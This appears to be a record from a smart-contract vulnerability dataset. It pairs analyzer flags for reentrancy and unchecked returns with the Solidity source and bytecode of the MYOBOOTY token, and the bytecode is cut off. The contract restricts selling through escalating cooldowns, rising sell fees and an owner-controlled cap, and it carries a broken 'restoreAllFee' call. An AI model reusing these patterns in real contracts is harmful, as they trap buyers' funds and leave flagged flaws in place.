092a5760405162461bcd60e51b81526004016104c790611902565b600061093530610570565b905061056d816110a0565b6000546001600160a01b0316331461096a5760405162461bcd60e51b81526004016104c790611902565b600e5461098b9030906001600160a01b031668056bc75e2d63100000610b66565b600e546001600160a01b031663f305d71947306109a781610570565b6000806109bc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a24573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a499190611999565b5050600f8054670de0b6b3a7640000601055671bc16d674ec8000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ad2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d91906119c7565b6000546001600160a01b03163314610b205760405162461bcd60e51b81526004016104c790611902565b600f81101561056d57600b55565b6000546001600160a01b03163314610b585760405162461bcd60e51b81526004016104c790611902565b600f81101561056d57600c55565b6001600160a01b038316610bc85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610c295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610d505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b60008111610db25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b6001600160a01b03831660009081526006602052604090205460ff1615610dd857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e1a57506001600160a01b03821660009081526005602052604090205460ff16155b15610f98576000600955600c54600a55600f546001600160a01b038481169116148015610e555750600e546001600160a01b03838116911614155b8015610e7a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e8f5750600f54600160b81b900460ff165b15610eca576000610e9f83610570565b9050601054821115610eb057600080fd5b601154610ebd838361121a565b1115610ec857600080fd5b505b600f546001600160a01b038381169116148015610ef55750600e546001600160a01b03848116911614155b8015610f1a57506001600160a01b03831660009081526005602052604090205460ff16155b15610f2b576000600955600b54600a555b6000610f3630610570565b600f54909150600160a81b900460ff16158015610f615750600f546001600160a01b03858116911614155b8015610f765750600f54600160b01b900460ff165b15610f9657610f84816110a0565b478015610f9457610f9447610fe2565b505b505b610fa3838383611279565b505050565b60008184841115610fcc5760405162461bcd60e51b81526004016104c79190611684565b506000610fd984866119e4565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561064b573d6000803e3d6000fd5b60006007548211156110835760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c7565b600061108d611284565b905061109983826112a7565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e8576110e8611954565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611141573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111659190611937565b8160018151811061117857611178611954565b6001600160a01b039283166020918202929092010152600e5461119e9130911684610b66565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d79085906000908690309042906004016119fb565b600060405180830381600087803b1580156111f157600080fd5b505af1158015611205573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112278385611a6c565b9050838110156110995760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b610fa38383836112e9565b60008060006112916113e0565b90925090506112a082826112a7565b9250505090565b600061109983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611422565b6000806000806000806112fb87611450565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132d90876114ad565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135c908661121a565b6001600160a01b03891660009081526002602052604090205561137e816114ef565b6113888483611539565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113cd91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d631000006113fc82826112a7565b8210156114195750506007549268056bc75e2d6310000092509050565b90939092509050565b600081836114435760405162461bcd60e51b81526004016104c79190611684565b506000610fd98486611a84565b600080600080600080600080600061146d8a600954600a5461155d565b925092509250600061147d611284565b905060008060006114908e8787876115b2565b919e509c509a509598509396509194505050505091939550919395565b600061109983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa8565b60006114f9611284565b905060006115078383611602565b30600090815260026020526040902054909150611524908261121a565b30600090815260026020526040902055505050565b60075461154690836114ad565b600755600854611556908261121a565b6008555050565b600080808061157760646115718989611602565b906112a7565b9050600061158a60646115718a89611602565b905060006115a28261159c8b866114ad565b906114ad565b9992985090965090945050505050565b60008080806115c18886611602565b905060006115cf8887611602565b905060006115dd8888611602565b905060006115ef8261159c86866114ad565b939b939a50919850919650505050505050565b6000826000036116145750600061042e565b60006116208385611aa6565b90508261162d8583611a84565b146110995760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b600060208083528351808285015260005b818110156116b157858101830151858201604001528201611695565b818111156116c3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461056d57600080fd5b80356116f9816116d9565b919050565b6000806040838503121561171157600080fd5b823561171c816116d9565b946020939093013593505050565b60008060006060848603121561173f57600080fd5b833561174a816116d9565b9250602084013561175a816116d9565b929592945050506040919091013590565b60006020828403121561177d57600080fd5b8135611099816116d9565b801515811461056d57600080fd5b6000602082840312156117a857600080fd5b813561109981611788565b600080604083850312156117c657600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117fe57600080fd5b823567ffffffffffffffff8082111561181657600080fd5b818501915085601f83011261182a57600080fd5b81358181111561183c5761183c6117d5565b8060051b604051601f19603f83011681018181108582111715611861576118616117d5565b60405291825284820192508381018501918883111561187f57600080fd5b938501935b828510156118a457611895856116ee565b84529385019392850192611884565b98975050505050505050565b6000602082840312156118c257600080fd5b5035919050565b600080604083850312156118dc57600080fd5b82356118e7816116d9565b915060208301356118f7816116d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561194957600080fd5b8151611099816116d9565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016119925761199261196a565b5060010190565b6000806000606084860312156119ae57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119d957600080fd5b815161109981611788565b6000828210156119f6576119f661196a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a4b5784516001600160a01b031683529383019391830191600101611a26565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7f57611a7f61196a565b500190565b600082611aa157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ac057611ac061196a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202aaaee51cb3d3b2a9ee9be8c4c47a23093a9a347e659436b46c76ec982f2f05364736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,846
0x8fC32CC19007a42DfEaD3256A224fefcA40EbA9A
/* MYOBOOTY SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract MYOBOOTY is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"MYOBOOTY"; string private constant _symbol = "MYOBOOTY"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600881526020017f4d594f424f4f5459000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d594f424f4f5459000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffff